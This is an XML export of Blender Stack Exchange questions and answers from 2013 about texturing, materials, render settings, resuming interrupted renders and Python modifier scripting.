  <row Id="4862" PostTypeId="1" AcceptedAnswerId="4863" CreationDate="2013-11-14T01:07:59.087" Score="3" ViewCount="3519" Body="&lt;p&gt;Typically if you look at the back of a textured face you don't see anything but a transparent square. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way you could make the front and back of the face textured without flipping the direction of the face? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can you unhide the faces that you previously hidden with &lt;kbd&gt;H&lt;/kbd&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1560" LastEditorUserId="599" LastEditDate="2013-11-14T01:41:35.080" LastActivityDate="2013-11-14T02:33:46.613" Title="Un-hiding faces and double sided textures" Tags="&lt;texturing&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4863" PostTypeId="2" ParentId="4862" CreationDate="2013-11-14T01:32:05.543" Score="2" Body="&lt;p&gt;In BI both sides of a face should be textured by default in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean in the viewport, you can switch the viewport shading to &lt;em&gt;Textured&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt; and set the shading to &lt;em&gt;GLSL&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Shading&lt;/em&gt;. Also make sure that &lt;em&gt;Backface Culling&lt;/em&gt; is disabled in the same panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will need to add lamps to the scene, or enable temporarily &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options#Shading&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Shadeless&lt;/em&gt;&lt;/a&gt; in &lt;em&gt;Properties &gt; Material &gt; Shading&lt;/em&gt;.&lt;br&gt;&#xA;Shadeless is good for editing purposes where you want to see the texture everywhere (no shadows or shading). Note that this will affect the final render, so remember to disable it when you are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint#Hide.2FUnhide_Faces&quot; rel=&quot;nofollow&quot;&gt;unhiding&lt;/a&gt; faces, press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;, or &lt;em&gt;3D view &gt; Header &gt; Mesh &gt; Show/Hide &gt; Show hidden&lt;/em&gt; in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-14T02:33:46.613" LastActivityDate="2013-11-14T02:33:46.613" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="4865" PostTypeId="2" ParentId="4847" CreationDate="2013-11-14T07:55:08.347" Score="0" Body="&lt;p&gt;To change any default setting, open a new Blender and change only that setting, then go &lt;strong&gt;File &gt; Save Startup File&lt;/strong&gt;. This will make Blender open in the state it's in now, including settings, models and preferences, every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, simply change the Output render settings (afaik all file dialogs related to images use these settings by default) to what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i4HvH.jpg&quot; alt=&quot;output settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then save it as the startup file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5jTQq.jpg&quot; alt=&quot;startup file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you screw anything up accidentally, you can always &lt;em&gt;Load Factory Settings&lt;/em&gt; from the File menu to revert back to the original default settings.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-11-14T07:55:08.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4866" PostTypeId="1" AcceptedAnswerId="4868" CreationDate="2013-11-14T08:21:34.550" Score="14" ViewCount="4084" Body="&lt;p&gt;Image and environment texture nodes have an option to use &lt;em&gt;Non-color data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAr2l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain what this setting does and when it should be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen it used with HDR environment lighting. Is there a reason for this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-14T08:33:27.593" LastActivityDate="2020-10-12T16:05:52.967" Title="What exactly does the &quot;Non-color data&quot; option for image/environment textures do?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4867" PostTypeId="1" AcceptedAnswerId="5995" CreationDate="2013-11-14T08:26:49.030" Score="3" ViewCount="933" Body="&lt;p&gt;Are there any differences between the cycles &lt;em&gt;Environment texture&lt;/em&gt; node and the &lt;em&gt;Image texture node&lt;/em&gt; besides the available projections?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-04T07:03:09.387" LastActivityDate="2014-01-04T17:54:30.187" Title="What are the differences between an environment node and a image node?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4868" PostTypeId="2" ParentId="4866" CreationDate="2013-11-14T08:30:59.757" Score="17" Body="&lt;p&gt;This option stops blender from applying color-spaces to the image, this is useful when you want to use the numeric value of an images pixel rather then the perceived color value.&lt;/p&gt;&#xA;&lt;p&gt;By default Blender converts an 8bit-per-channel image (As you would get with JPG, TGA, PNG, BMP etc.) from sRGB-colorspace to linear-colorspace (also known as &lt;code&gt;rec709&lt;/code&gt;), before using it for compositing - where all color is assumed to be in linear-colorspace.&lt;/p&gt;&#xA;&lt;p&gt;Examples where you don't want this include normal-maps, z-depth-buffer and displacement-maps - Where 0.5 should displace half the distance then 1.0.&lt;/p&gt;&#xA;&lt;p&gt;Color spaces are fairly involved, so more could be written about the topic - but simple rule of thumb is if you are not viewing the image data as a RGB-Color, then you should set &lt;code&gt;Non-Color Data&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Note that OpenEXR is an exception and color is assumed to already be stored in &lt;code&gt;linear/rec709&lt;/code&gt; colorspace, to display these images Blender converts them into &lt;code&gt;sRGB&lt;/code&gt; (unless you choose a different colorspace).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="19307" LastEditDate="2020-10-12T16:05:52.967" LastActivityDate="2020-10-12T16:05:52.967" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4870" PostTypeId="2" ParentId="4817" CreationDate="2013-11-14T09:30:14.657" Score="33" Body="&lt;p&gt;The outliner is a great place to find things. Entering a string in search field located in the header not only finds items containing the string but highlights them for easy access. The search menu also offers choices for case sensitive and complete matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQE0I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many things can be found in the outliner - from objects and meshes to materials, textures, modifiers, vertex groups, constraints, bones and actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While image names used by blender internal textures can be searched, currently images used in nodes (internal or cycles) can't.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-11-14T09:30:14.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4871" PostTypeId="1" AcceptedAnswerId="4872" CreationDate="2013-11-14T09:30:33.890" Score="7" ViewCount="8024" Body="&lt;p&gt;I am using blender 2.66. I have added a text object and then selected the Object tab in the properties window, went up to the bottom and the used object color picker to choose a color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even after choosing a color, when I render the scene as image the color does not seem to be applied to the text object. Is there anything I am missing?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="12" LastEditDate="2013-11-14T17:35:28.983" LastActivityDate="2013-11-14T17:35:28.983" Title="Unable to add color to text" Tags="&lt;materials&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4872" PostTypeId="2" ParentId="4871" CreationDate="2013-11-14T09:32:59.813" Score="7" Body="&lt;p&gt;Try &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Assigning_a_material&quot; rel=&quot;noreferrer&quot;&gt;creating a material&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender internal:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a material in &lt;em&gt;Properties &gt; Materials panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MT6BF.png&quot; alt=&quot;&amp;gt; Add new&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To simply add some color, you probably want to set the &lt;em&gt;Diffuse color&lt;/em&gt; instead of the object color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lCL4q.png&quot; alt=&quot;in the Diffuse panel&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Object color only affects the render when enabled in &lt;em&gt;Material &gt; Options&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxA5k.png&quot; alt=&quot;Object color&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object color is used to add some color variance per object without adding new materials.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;AFAIK, &lt;em&gt;Object color&lt;/em&gt; is not used at all in cycles.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Render:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To give an object a color in the render for cycles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new material in the &lt;em&gt;Materials&lt;/em&gt; panel by pressing &lt;em&gt;Add new&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MT6BF.png&quot; alt=&quot;&amp;gt; Add new&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will automatically add a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Diffuse&quot; rel=&quot;noreferrer&quot;&gt;Diffuse shader&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the &lt;em&gt;Color input&lt;/em&gt; of the diffuse shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zIMKC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Viewport:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To give the object a color in the 3D view set the &lt;em&gt;Viewport color&lt;/em&gt; in &lt;em&gt;Properties &gt; Materials &gt; Settings &gt; Viewport color&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lt6m0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;em&gt;Viewport color&lt;/em&gt; is separate from the colors defined in the material which will appear when rendered. (It will only affect the 3D view)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-14T10:00:28.230" LastActivityDate="2013-11-14T10:00:28.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4873" PostTypeId="2" ParentId="4817" CreationDate="2013-11-14T09:57:51.907" Score="6" Body="&lt;p&gt;&lt;em&gt;This isn't the best way, but for I'll post for completeness.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another quick way is to select an object which you know has the material and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Material&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will select all the objects which use the active material of the selected object.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-14T09:57:51.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4874" PostTypeId="1" CreationDate="2013-11-14T11:00:26.783" Score="9" ViewCount="3956" Body="&lt;p&gt;I have a Windows 7 machine and my Blender render takes about 8 hours or so. Sometimes the laptop goes to sleep or I have to hibernate it to travel to work. Does Blender resume the rendering to avi raw after it comes out of hibernation ?&lt;/p&gt;&#xA;" OwnerUserId="1607" LastEditorUserId="12" LastEditDate="2013-11-14T16:56:19.053" LastActivityDate="2017-07-14T06:16:04.320" Title="Does Blender resume rendering after returning from hibernation in Windows 7?" Tags="&lt;rendering&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4875" PostTypeId="1" CreationDate="2013-11-02T00:37:49.913" Score="3" ViewCount="2294" Body="&lt;p&gt;I've been looking online for a long time, searching for documentation on the subject of Blender Voxel Data.  So far, I know that Blender uses many file types, including the .bvox file type.  For the .bvox file type, I have found that it uses ASCII characters to load in density values, starting with the dimensions.  For example, a data set with dimensions 64,64,64 would save into the .bvox file as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;@@@&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, only the density values are saved.  The data set I have is formatted as follows, where dd is a density value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;xx yy zz dd&#xA;xx yy zz dd&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My python code strips each line and takes only the density values and uses pythons pack struct to pack the values into a .bvox file. This works fine, but I am wondering how Blender knows where to put the coordinates of the densities?  Each density value has to be at a specific point, and how does Blender know where that point is?  And also, is it possible to specify my own coordinates for each value? &lt;/p&gt;&#xA;" OwnerUserId="1525" OwnerDisplayName="user2946808" LastActivityDate="2013-12-03T22:23:29.857" Title="How Does Blender Voxel Data Work?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4877" PostTypeId="1" CreationDate="2013-11-14T13:17:53.603" Score="2" ViewCount="263" Body="&lt;p&gt;I'm currently working on a short animation (Blender 2.69 r60995) for an expo and i'm having a problem with bokeh defocus that it isn't composition on some frames, here's a gif clip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsWJQ.gif&quot; alt=&quot;Bokh not working on every frame&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the defocus is working right, but certain frames don't get composited (the compositing pass doesn't even show up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my compositing nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sj0SI.png&quot; alt=&quot;Blender nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have toggled &quot;Use Z-Buffer&quot; several times and the fStop, also tried not to use the Z-Buffer, and the problem is always the same, certain frames don't get rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's the defocus keyframe graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vrR0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1609" LastEditorUserId="1609" LastEditDate="2013-11-14T15:47:50.473" LastActivityDate="2013-11-14T15:47:50.473" Title="Bokeh defocus not working on certain frames" Tags="&lt;animation&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4878" PostTypeId="1" AcceptedAnswerId="4883" CreationDate="2013-11-14T14:49:56.757" Score="8" ViewCount="2344" Body="&lt;p&gt;Is there a better way to &lt;strong&gt;&lt;em&gt;copy a modifier with all attributes&lt;/em&gt;&lt;/strong&gt; from &lt;em&gt;active object&lt;/em&gt; to &lt;em&gt;selected object&lt;/em&gt; through python scripting other than adding a modifier to selected and copy attributes one by one (with dictionary for example) from active?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;problem&lt;/strong&gt; is &lt;strong&gt;some &lt;em&gt;attributes are read-only&lt;/em&gt;&lt;/strong&gt; (even if it makes no sense - like for example &lt;em&gt;subdivision&lt;/em&gt; algorithm in &lt;em&gt;Subsurf&lt;/em&gt; modifier) and i don't know how to set them through python script.&#xA;So i can't copy that &lt;em&gt;subdivision&lt;/em&gt; algorithm value from one to another through scripting with method setting a value for an attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[object_name].modifiers[modifier_name].attribute_name = attribute_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to reiterate my question: is there any other way to add a modifier to an object that would allow setting up values for &lt;strong&gt;all&lt;/strong&gt; attributes?&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2017-03-23T12:52:02.070" Title="How to copy modifiers with attribute values from active object to selected objects with python scripting?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4879" PostTypeId="1" CreationDate="2013-11-14T15:42:46.737" Score="0" ViewCount="578" Body="&lt;p&gt;I'm rendering a movie in cycles.&lt;br&gt;&#xA;When I'm rendering an object (2 objects copied with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;), a part of the mesh disappears, determined by angle of the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it acts like a render border, but it only effects a &quot;vertex group&quot; of the mesh. The mesh doesn't has any actual vertex groups. Or any of that kind (looked at mesh-data in the &lt;em&gt;Properties&lt;/em&gt; editor). I can't find any strange settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is shown in the render view as well as in the viewport. And only when it shows the render view. I tried the internal render. But then the whole render is inexplicable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't give a picture of the problem, because I have confidentiality. and can't reproduce the problem because I don't know how it came there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(blender version is 2.66 or 2.69, same problem on like 30 computers (just with the 0, but its coincidence), re-saved with new name multiple times&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="599" LastEditDate="2013-11-14T19:40:47.220" LastActivityDate="2013-11-18T20:46:36.730" Title="Border render in mesh" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4880" PostTypeId="2" ParentId="4856" CreationDate="2013-11-14T18:42:49.067" Score="0" Body="&lt;p&gt;I think I understood your question wrong, I'm giving it another try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, vertex colors aren't strictly what they say. If, for instance, you paint from a perspectve where you don't see a certain face, the vertex color is set 'only for the faces you see'. You can even restrict the vertex paint to certain faces, just by unchecking the 'all faces' option in the tool shelf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite a special behaviour of Blender, as one vertex can &quot;have several colors at the same time&quot; this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exporters don't like this, because they have to give a vertex one single color, just as the data format exspects. The workaround for the exporter is: to split up the vertex in two (or more), and give each one it's appropriate color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do against it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paint the vertex again, and make sure that none of the adjacent faces are invisible for perspective reasons.... in other words: rotate the mesh so that the vertex points at you and, after painting, check that there's no hard color transition on any edge. You can also try a &quot;smooth&quot; brush to fix things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best greetings, Michael&lt;/p&gt;&#xA;" OwnerUserId="1583" LastEditorUserId="1583" LastEditDate="2013-11-14T18:51:51.303" LastActivityDate="2013-11-14T18:51:51.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4881" PostTypeId="2" ParentId="4874" CreationDate="2013-11-14T18:46:01.853" Score="12" Body="&lt;p&gt;I think the best way to find out is to try it yourself ;)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Alternatives:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Something you can do to ensure your render progress is not lost is to render to an &lt;em&gt;image sequence&lt;/em&gt; instead of directly to a video file. See the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/workflows/animations.html#workflow&quot; rel=&quot;noreferrer&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;Direct Approach&lt;/strong&gt;—highly &lt;strong&gt;not&lt;/strong&gt; recommended and not a standard&#xA;  practice—is where you set your output format to an AVI or MOV format,&#xA;  and click [render] ANIM to render your scene directly out to a movie file.&#xA;  Blender creates one file that holds all the frames of your animation.&#xA;  You can then use Blender's VSE to add an audio track to the animation&#xA;  and render out to an MPEG format to complete your movie.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The &lt;strong&gt;Frame Sequence&lt;/strong&gt; is a much more stable approach, where you set your&#xA;  output format to a still format (such as JPG, PNG or MultiLayer), and&#xA;  click [render] ANIM to render your scene out to a set of images, where each&#xA;  image is the frame in the sequence.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blender creates a file for each frame of the animation. You can then&#xA;  use Blender's compositor to perform any frame manipulation (post&#xA;  processing). You can then use Blender's VSE to load that final image&#xA;  sequence, add an audio track to the animation, and render out to an&#xA;  MPEG format to complete your movie. The Frame Sequence approach is a&#xA;  little more complicated and takes more disk space, but gives you more&#xA;  flexibility.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Set &lt;em&gt;start frame&lt;/em&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This way if the render render stops you can easily resume it by setting the &lt;em&gt;Start frame&lt;/em&gt; to the frame after the last frame rendered and starting the render again. Whereas if you are rendering directly to a video format, there is a high probability the file will be corrupted if the render is stopped partway through. Also see the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/workflows/animations.html#hints&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Hints&lt;/em&gt; section&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unless your animation is really simple, and you expect it to render in half an hour or less, it is always a good idea to render the animation as separate image frames in a loss-less format (TGA, PNG, BMP) rather than as a movie file from the beginning. This allows you an easy recovery if there is a problem and you have to re-start the rendering, since the frames you have already rendered will still be in the Output directory. Just change the STArt frame number to the frame number where you want to pick up from, and click ANIM again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;E.g. If the render stops while rendering frame 30, the last saved image will be frame 29. All that needs to be rendered is frame 30 up to the end, so set the &lt;em&gt;Start&lt;/em&gt; frame to &lt;code&gt;30&lt;/code&gt; and render (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i9saU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disable overwrite:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another option (as &lt;a href=&quot;https://blender.stackexchange.com/questions/4874/does-blender-resume-rendering-after-returning-from-hibernation-in-windows-7/4881?noredirect=1#comment7676_4881&quot;&gt;mentioned by Greg Zaal&lt;/a&gt;) is to disable &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/output/output.html#output-panel&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Overwrite&lt;/em&gt;&lt;/a&gt; in &lt;em&gt;Properties &gt; Render &gt; Output&lt;/em&gt;. Disabling this will skip rendering the frame if an image file corresponding to that frame already exists.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Rendering an image sequence to a video file&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When the render is complete you can render the image sequence to the desired file using the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/vse/introduction.html&quot; rel=&quot;noreferrer&quot;&gt;VSE&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Import your image sequence with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Image&lt;/em&gt; (or &lt;em&gt;Header &gt; Add &gt; Image&lt;/em&gt;). This will add a new strip with your animation. Make sure it is correctly lined up with the scene start and end frames.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the output format to the desired location and format, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;. This will render the sequencer to the specified output file quite quickly, as all it is doing is encoding the already rendered images into the correct format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also see the workflow outlined on &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/workflows/animations.html#frame-sequence-workflow&quot; rel=&quot;noreferrer&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Frame Sequence Workflow&lt;/h1&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;First prepare your animation. &lt;/li&gt;&#xA;  &lt;li&gt;In the &lt;em&gt;Dimensions&lt;/em&gt; panel, choose the render size, Pixel Aspect Ratio, and the Range of Frames to use, as well as the frame&#xA;  rate, which should already be set.&lt;/li&gt;&#xA;  &lt;li&gt;In the Output panel set up your animation to be rendered out as as images, generally using a format that does not compromise any quality&#xA;  (I prefer PNG or MultiLayer because of their loss-less nature). &lt;/li&gt;&#xA;  &lt;li&gt;Choose the output path and file type in the Output panel as well, for example &lt;code&gt;//\render\my-anim-&lt;/code&gt;.&lt;/li&gt;&#xA;  &lt;li&gt;Confirm the range of your animation frame Start and End.&lt;/li&gt;&#xA;  &lt;li&gt;Save your .blend file. &lt;/li&gt;&#xA;  &lt;li&gt;Press the big ''Animation'' button. Do a long task [like sleeping, playing a video game, or cleaning your driveway] while you wait for&#xA;  your computer to finish rendering the frames. &lt;/li&gt;&#xA;  &lt;li&gt;Once the animation is finished, use your OS file explorer to navigate into the output folder (&quot;.\render in this example). You will see lots&#xA;  of images (.png or .exr, etc... depending on the format you chose to&#xA;  render) that have a sequence number attached to them ranging from 0000&#xA;  to a max of 9999. These are your single frames. &lt;/li&gt;&#xA;  &lt;li&gt;In Blender, now go into the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/vse/introduction.html&quot; rel=&quot;noreferrer&quot;&gt;video sequence editor&lt;/a&gt;. &lt;/li&gt;&#xA;  &lt;li&gt;Choose ''Add Image'' from the add menu. Select all the frames from your output folder that you want to include in your animation (Press A&#xA;  to Select All easily). They will be added as a strip to the sequence&#xA;  editor. &lt;/li&gt;&#xA;  &lt;li&gt;Now you can edit the strip and add effects or simply leave it like it is. You can add other strips, like an audio strip. &lt;/li&gt;&#xA;  &lt;li&gt;Scrub through the animation, checking that you have included all the frames. &lt;/li&gt;&#xA;  &lt;li&gt;In the Scene Render buttons, in the Post Processing panel, activate &lt;em&gt;Sequencer&lt;/em&gt;. &lt;/li&gt;&#xA;  &lt;li&gt;In the Format panel, choose the container and codec you want (e.g. MPEG H.264) and configure it. The video codecs are described on the&#xA;  previous page: &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/output/output.html#output-panel&quot; rel=&quot;noreferrer&quot;&gt;Output Options&lt;/a&gt;.&lt;/li&gt;&#xA;  &lt;li&gt;Click the ANIMATION render button and Blender will render out the sequence editor output into your movie.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2017-07-14T06:16:04.320" LastActivityDate="2017-07-14T06:16:04.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
